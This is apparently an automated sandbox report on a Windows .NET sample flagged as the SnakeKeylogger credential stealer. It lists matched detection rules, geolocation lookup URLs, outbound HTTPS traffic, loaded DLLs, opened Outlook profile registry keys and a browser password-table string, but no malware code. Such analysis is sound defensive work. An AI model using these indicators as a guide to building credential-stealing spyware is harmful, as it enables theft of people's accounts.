Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002D1F000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002D8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Lpjrd6Wxad.exe	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002D8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.79
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002D49000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002DB7000.00000004.00000800.00020000.00000000.sdmp, Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002D8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.79$
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Lpjrd6Wxad.exe, 00000000.00000002.4036590678.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002EBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49727 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Lpjrd6Wxad.exe, type: SAMPLE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Lpjrd6Wxad.exe, type: SAMPLE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: Lpjrd6Wxad.exe, type: SAMPLE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Lpjrd6Wxad.exe PID: 3648, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102C147	0_2_0102C147
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102D2C8	0_2_0102D2C8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102D599	0_2_0102D599
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102C46F	0_2_0102C46F
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102C738	0_2_0102C738
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_010269A0	0_2_010269A0
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102CD28	0_2_0102CD28
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102EC18	0_2_0102EC18
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_01026FC8	0_2_01026FC8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102CFF7	0_2_0102CFF7
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_01023E12	0_2_01023E12
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_01025370	0_2_01025370
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102F4C7	0_2_0102F4C7
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102F4D0	0_2_0102F4D0
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_010239CD	0_2_010239CD
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0102EC0A	0_2_0102EC0A
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_058247A8	0_2_058247A8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_058293F0	0_2_058293F0
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_05828AA8	0_2_05828AA8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582D580	0_2_0582D580
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582D571	0_2_0582D571
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582FC98	0_2_0582FC98
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_05828CC8	0_2_05828CC8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582CCD0	0_2_0582CCD0
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582C420	0_2_0582C420
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582EF83	0_2_0582EF83
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_05821788	0_2_05821788
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582EF90	0_2_0582EF90
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_05821798	0_2_05821798
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582479C	0_2_0582479C
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_05821E80	0_2_05821E80
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582E6D3	0_2_0582E6D3
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582E6E0	0_2_0582E6E0
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582DE24	0_2_0582DE24
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582DE30	0_2_0582DE30
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_05821E72	0_2_05821E72
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582D9CB	0_2_0582D9CB
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582D9D8	0_2_0582D9D8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582D119	0_2_0582D119
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582D128	0_2_0582D128
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_058210AD	0_2_058210AD
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_058210B8	0_2_058210B8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582F835	0_2_0582F835
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582003F	0_2_0582003F
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_05820040	0_2_05820040
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582F840	0_2_0582F840
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582C878	0_2_0582C878
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582F3D9	0_2_0582F3D9
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_058293E3	0_2_058293E3
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582F3E8	0_2_0582F3E8
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_05828320	0_2_05828320
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582EB29	0_2_0582EB29
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582EB38	0_2_0582EB38
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_0582E288	0_2_0582E288

Source: Lpjrd6Wxad.exe, 00000000.00000002.4034472681.0000000000E7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Lpjrd6Wxad.exe
Source: Lpjrd6Wxad.exe, 00000000.00000002.4034420315.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Lpjrd6Wxad.exe
Source: Lpjrd6Wxad.exe, 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Lpjrd6Wxad.exe
Source: Lpjrd6Wxad.exe	Binary or memory string: OriginalFilenameRemington.exe4 vs Lpjrd6Wxad.exe

Source: Lpjrd6Wxad.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Lpjrd6Wxad.exe, type: SAMPLE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Lpjrd6Wxad.exe, type: SAMPLE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Lpjrd6Wxad.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.Lpjrd6Wxad.exe.850000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000000.1555252525.0000000000852000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Lpjrd6Wxad.exe PID: 3648, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: Lpjrd6Wxad.exe, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Lpjrd6Wxad.exe, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Lpjrd6Wxad.exe, JA-.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@1/0@4/4

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe

Mutant created: NULL

Source: Lpjrd6Wxad.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Lpjrd6Wxad.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Lpjrd6Wxad.exe, 00000000.00000002.4035317693.0000000002F7F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Lpjrd6Wxad.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Lpjrd6Wxad.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Lpjrd6Wxad.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_01029C30 push esp; retf 02C2h	0_2_01029D55
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_01026FC8 push 5502C29Fh; retn 5502h	0_2_01027536
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_01025D08 push dword ptr [ecx-75h]; iretd	0_2_01025D12
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Code function: 0_2_01022D49 push 8BFFFFFFh; retf	0_2_01022D4F

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Memory allocated: 1020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Memory allocated: 2CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\Lpjrd6Wxad.exe	Thread delayed: delay time: 598844	Jump to behavior
